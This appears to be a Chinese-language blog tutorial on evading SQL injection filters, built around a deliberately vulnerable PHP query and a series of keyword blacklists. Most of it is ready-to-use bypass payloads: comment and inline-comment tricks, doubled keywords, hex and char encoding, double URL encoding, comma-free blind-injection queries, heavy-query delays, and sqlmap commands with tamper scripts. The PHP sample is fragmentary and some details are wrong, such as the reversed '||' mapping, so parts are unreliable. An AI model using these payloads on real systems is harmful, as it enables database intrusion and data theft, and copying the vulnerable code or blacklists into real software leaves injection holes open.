前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入过滤的绕过

SQL注入过滤的绕过

作者头像
Baige
发布2022-03-30 12:54:30
3.1K0
发布2022-03-30 12:54:30
举报
文章被收录于专栏:世荣的博客

在实际的项目开发中,程序员一般都会使用函数过滤一些字符,以防止SQL注入比如魔术引号magic_quotes_gpc()之前的文章有提过,再比如preg_replace()函数过滤了一些字符。

代码语言:javascript
复制
preg_replace('A','B','C')  # 执行一个正则表达式的搜索和替换

搜索C中符合A的部分,然后用B来代替。

代码语言:javascript
复制
mixed preg_replace ( mixed $pattern , 
mixed $replacement , 
mixed $subject [, int $limit = -1 [, int &$count ]] )

//搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

简单的写个过滤黑名单:

代码语言:javascript
复制
function blacklist($id)
{
  $id = preg_replace('/or/i',"",$id);      //过滤 or 不分大小写
  $id = preg_replace('/and/i',"",$id);     //过滤 and 不分大小写
  $id = preg_replace('/[\/\*]/',"",$id);   //过滤 /*
  $id = preg_replace('/[--]/',"",$id);     //过滤 --
  $id = preg_replace('/[*]/',"",$id);      //过滤 #  %23
  $id = preg_replace('/[\s]/',"",$id);     //过滤 空格 %20
  $id = preg_replace('/[\/\\\\]/',"",$id); //过滤 斜杠 \ 反斜杠 /
  return $id;
}

过滤了就注入了吗?不好意思,不存在的!道高一尺魔高一丈,虽然过滤了某些字符,但是已然可以绕过,达到SQL注入的目的。

注意:在使用注释符#的时候,在URL输入栏中应该输入#的URL表达式 %23 ,而不是直接输入#

在如下存在SQL注入的代码,没有任何的安全防御措施。blacklist中的是过滤的手段,目前没有任何过滤。在接下来的测试过滤绕过中,我会改变blacklist函数中的过滤语句。

代码语言:javascript
复制
$con = mysql_connect("localhost","root","root"); #数据库连接
$select_db = mysql_select_db('security');
   die("不能连接数据库!:\n" . mysql_error());
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
$sql = "select * from users where id=$id";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
$res = mysql_query($sql);
    die("could get the res:\n" . mysql_error());
while ($row = mysql_fetch_assoc($res)) {
mysql_close($con);   //关闭数据库

1.过滤了空格

代码语言:javascript
复制
$id = preg_replace('/[\s]/',"",$id);

1.1注释符/**/绕过

如果只过滤了空格,没有过滤/,那么我们可以通过/*/来绕过空格过滤 http://127.0.0.1/index.php?id=1//order//order//by//1

如果直接使用sqlmap会提示:

这时候我们可以使用注释绕过,在sqlmap中,对于mysql数据库注释绕过空格的脚本:

代码语言:javascript
复制
sapce2comment.py
sqlmap命令:
python sqlmap.py -u http://127.0.0.1/index.php?id=1 --batch
--dbs --tamper=space2comment.py
--batch是让sqlmap自动选择执行过程中出现的询问请求
sqlmap的绕过脚本在目录/sqlmap/tamper下

1.2内联注释绕过

当Mysql数据库版本大于等于5.55时,可以使用内联注释(/!**/)

代码语言:javascript
复制
/*! select * from xxx where id=1 */

/*!union*/ /*!select*/@@version,2,3;

sqlmap中关于内联注释的脚本:

代码语言:javascript
复制
versionedmorekeywords.py
halfverisonedmorekeywords.py

2.区分大小写过滤了SQL关键词

代码语言:javascript
复制
function blacklist($id)
{    
    $id = preg_replace('/[\s]/',"",$id);       //过滤  空格 %20 
    $id = preg_replace('/or/',"",$id);         //过滤  or  
    $id = preg_replace('/and/',"",$id);        //过滤  and 
    $id = preg_replace('/union/',"",$id);      //过滤  union
    $id = preg_replace('/by/',"",$id);         //过滤  by 
    $id = preg_replace('/select/',"",$id);     //过滤  select  
    $id = preg_replace('/from/',"",$id);       //过滤  from
    $id = preg_replace('/floor/',"",$id);      //过滤  floor
    $id = preg_replace('/concat/',"",$id);     //过滤  concat
    $id = preg_replace('/count/',"",$id);      //过滤  count
    $id = preg_replace('/rand/',"",$id);       //过滤  rand
    $id = preg_replace('/group by/',"",$id);   //过滤  group by
    $id = preg_replace('/substr/',"",$id);     //过滤  substr
    $id = preg_replace('/ascii/',"",$id);      //过滤  ascii
    $id = preg_replace('/mid/',"",$id);        //过滤  mid
    $id = preg_replace('/like/',"",$id);       //过滤  like
    $id = preg_replace('/sleep/',"",$id);      //过滤  sleep
    $id = preg_replace('/when/',"",$id);       //过滤  when
    $id = preg_replace('/order/',"",$id);      //过滤  order  
    return $id;
}

由于先匹配到了or,所以把order中的or去除了,并且把by也去除了。

2.1大小写绕过

但是由于过滤没有对大写做识别,所以我们这里把关键词用大写:

代码语言:javascript
复制
1 Order By 1

这个在sqlmap中也是可以直接跑出来的,因为sqlmap的payload中的SQL关键字默认是大写的,而这里只过滤了小写,而且sqlmap也有专门的随机大小写的绕过脚本:randomcase.py

3.不区分大小写过滤了SQL关检词

对于过滤SQL关检词绕过的思路 1.尝试双拼写绕过 2.看是否有关检词漏掉过滤了 3.使用等价函数替换

代码语言:javascript
复制
function blacklist($id)
{    
    $id = preg_replace('/[\s]/',"",$id);            //过滤  空格 %20 
    $id = preg_replace('/or/i',"",$id);            //过滤  or  
    $id = preg_replace('/and/i',"",$id);           //过滤  and 
    $id = preg_replace('/union/i',"",$id);           //过滤  union
    $id = preg_replace('/by/i',"",$id);              //过滤  by 
    $id = preg_replace('/select/i',"",$id);          //过滤  select  
    $id = preg_replace('/from/i',"",$id);           //过滤  from
    $id = preg_replace('/floor/i',"",$id);           //过滤  floor
    $id = preg_replace('/count/i',"",$id);           //过滤  count
    $id = preg_replace('/rand/i',"",$id);            //过滤  rand
    $id = preg_replace('/group by/i',"",$id);        //过滤  group by
    $id = preg_replace('/substr/i',"",$id);          //过滤  substr
    $id = preg_replace('/ascii/i',"",$id);           //过滤  ascii
    $id = preg_replace('/mid/i',"",$id);             //过滤  mid
    $id = preg_replace('/like/i',"",$id);            //过滤  like
    $id = preg_replace('/sleep/i',"",$id);           //过滤  sleep
    $id = preg_replace('/when/i',"",$id);            //过滤  when
    $id = preg_replace('/order/i',"",$id);           //过滤  order  
    return $id;
}

对于不区分大小写的过滤SQL关检词,无论大小写混合都会被过滤了。

3.1双拼写绕过

代码语言:javascript
复制
?id=1 ununionion selselectect 1,2,3

sqlmap中双拼写绕过的脚本:nonrecursivereplacement.py,该脚本对于任何数据库都可以使用。

3.2爆破SQL词看是否有关键词过滤了

这种对于不区分大小写过滤了的关键词,我们首先需要判断过滤了哪些关键词,漏掉了哪些关键词,这个可以使用SQL关键词来进行爆破,看看哪些关键词没有被过滤,然后看看这些关键词可以利用哪些注入方式。

然后使用Burp简单爆破下,这里看length不太有用,可能需要一个个看Response,看看哪个漏掉了。

如果是那种只要请求包中有过滤关键词,则会返回特殊响应的网站,这样查看响应代码就可以一目了然的知道哪些关键词没有被过滤。

通过关键的爆破,若发现一些没有被过滤,则可以利用,比如:

代码语言:javascript
复制
ExtractValue报错注入
and
extractvalue
concat
Updatexml报错注入
and
updatexml
concat

and可以用&&来替换,在URL编码中换成%26%26即可。

3.3等价函数绕过

例如:substr,substring,mid都过滤了的话,可以考虑用left();过滤了sleep()可以用benchmark()替换,过滤了group_concat可以使用concat_ws()

4.过滤了引号

4.1 16进制编码绕过

使用 16 进制绕过引号。一般会使用到引号的地方是在最后的 where 子句中,比如

代码语言:javascript
复制
select * from test where username='admin'; 
select * from test where username="admin";

当引号被过滤了的话, 'admin' 或者 "admin" 就没法用了,我们可以用 admin 的16进制 0x61646d696e 代替。

代码语言:javascript
复制
select*from users where username=0x61646d696e;

这里注意一下,中文无法进行使用16进制编码

4.2 ASCII编码绕过

admin的各个字符的ASCII的值为: 97 100 109 105 110 所以我们使用concat(char(97),char(100),char(109),char(105),char(110))代替admin。 ?username=concat(char(97),char(100),char(109),char(105),char(110))

4.5 URL编码绕过

**前提条件:后端在处理接收到的参数进行了URL解码,并且对该URL解码是在过滤函数之后才可以。

代码语言:javascript
复制
$username=$GET['username'];
$username=blacklist($username);   # 过滤函数
$username=urldecode($username);   # URL解码

当我们使用"admin"的时候,过滤函数把admin给过滤了掉了

于是我们使用 " 的URL编码的URL编码,也就是 %2522

在sqlmap中,对payload进行URL编码的脚本是: charencode.py chardoubleencode.py # 两次URL编码

5.过滤了逗号

在使用盲注的时候,会使用到substr(),substring(),mid(),limit()等函数,这些函数都需要用到逗号,如果只是过滤了逗号,则对于substr(),substring(),mid()可以使用from for的方式来绕过。对于limit()可以用offset()来绕过。

代码语言:javascript
复制
// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2
for 1))from admin limit 1)>97;
 
// substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from
2 for 1))from admin limit 1)>97;
 
// mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1)) 
from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 
2 for 1))from admin limit 1)>97;
 
// limit 逗号绕过
select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 offset 1;

6.过滤了比较符<>

在使用盲注的时候,会用到二分法来比较操作符来进行操作,如果过滤了比较操作符,那么就需要使用到greatest()和lease()来进行绕过。greatest()返回最大值,leaset()返回最小值。

代码语言:javascript
复制
greatest(n1,n2,n3,....) # 返回输入参数的最大值
least(n1,n2,n3,....)    # 返回输入参数的最小值

select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and
greatest(ascii(substring(database(),0,1)),64)>64;
 
select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and
least(ascii(substring(database(),0,1)),64)<64;

在Sqlmap中,用greatest代替大于号的脚本是:greatest.py ,该脚本只针对于MySQL。

7.过滤了 or and xor not

代码语言:javascript
复制
&& 代替 and
or 代替 ||
|  代替 xor
!  代替 not

举例:

代码语言:javascript
复制
select * from users where id=1 and 1=2;
select * from users where id=1 && 1=2;

select * from users where id=1 or 1=2;
select * from users where id=1 || 1=2;

8.过滤了注释符

如果过滤了#,则可以用'||'来绕过,但是这个只限于闭合后面是单引号的情况!

如果是数字型注入,则不奏效!

9.过滤了 =

使用like,rlike,regexp

like:可以当做等于来理解 rlike:就是里面含有这个 regexp:和rlike一样,里面含有即可

如果判断是否等于,可以转换为大于小于,于是可以用> <来绕过

在Sqlmap中,用like代替=号的脚本是:equaltolike.py ,该脚本只针对于MySQL。

10.过滤了延时函数

过滤目标网站过滤了延时函数如sleep(),那么我们就必须得想其他办法使其达到延时的效果。这里我们绕过的手段是让SQL语句执行大负荷查询(笛卡尔算积),由于大负荷查询需要计算大量的数据,所以执行语句就会有延时的效果。

在MySQL数据库中,都会有一个默认的information_schema数据库。这个数据库中的tables表是整个MySQL数据库表名的汇总。columns表是整个MySQL数据库列的汇总。所以我们就可以利用information_schema.tables和information_schema.columns来进行笛卡尔算积,造成大负荷查询,以至于达到延时的效果。

我们的Payload如下,其中columns和tables这个字段可以互换,我们也可以在B后面继续加C、D等等

代码语言:javascript
复制
select * from users where id=1 and (SELECT count(*) FROM
information_schema.columns A, information_schema.columns B);

配合查询语句一起,如果要查询的结果为真,则会造成延时并显示数据。如果要查询的结果为假,则不会产生延时并且不会显示数据。

代码语言:javascript
复制
select * from users where id=1 and (ascii(substr(database(),1,1))
>100) and (SELECT count(*) FROM information_schema.columns A, 
information_schema.columns B);
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.过滤了空格
    • 1.1注释符/**/绕过
      • 1.2内联注释绕过
      • 2.区分大小写过滤了SQL关键词
        • 2.1大小写绕过
        • 3.不区分大小写过滤了SQL关检词
          • 3.1双拼写绕过
            • 3.2爆破SQL词看是否有关键词过滤了
              • 3.3等价函数绕过
              • 4.过滤了引号
                • 4.1 16进制编码绕过
                  • 4.2 ASCII编码绕过
                    • 4.5 URL编码绕过
                    • 5.过滤了逗号
                    • 6.过滤了比较符<>
                    • 7.过滤了 or and xor not
                    • 8.过滤了注释符
                    • 9.过滤了 =
                    • 10.过滤了延时函数
                    相关产品与服务
                    数据库
                    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档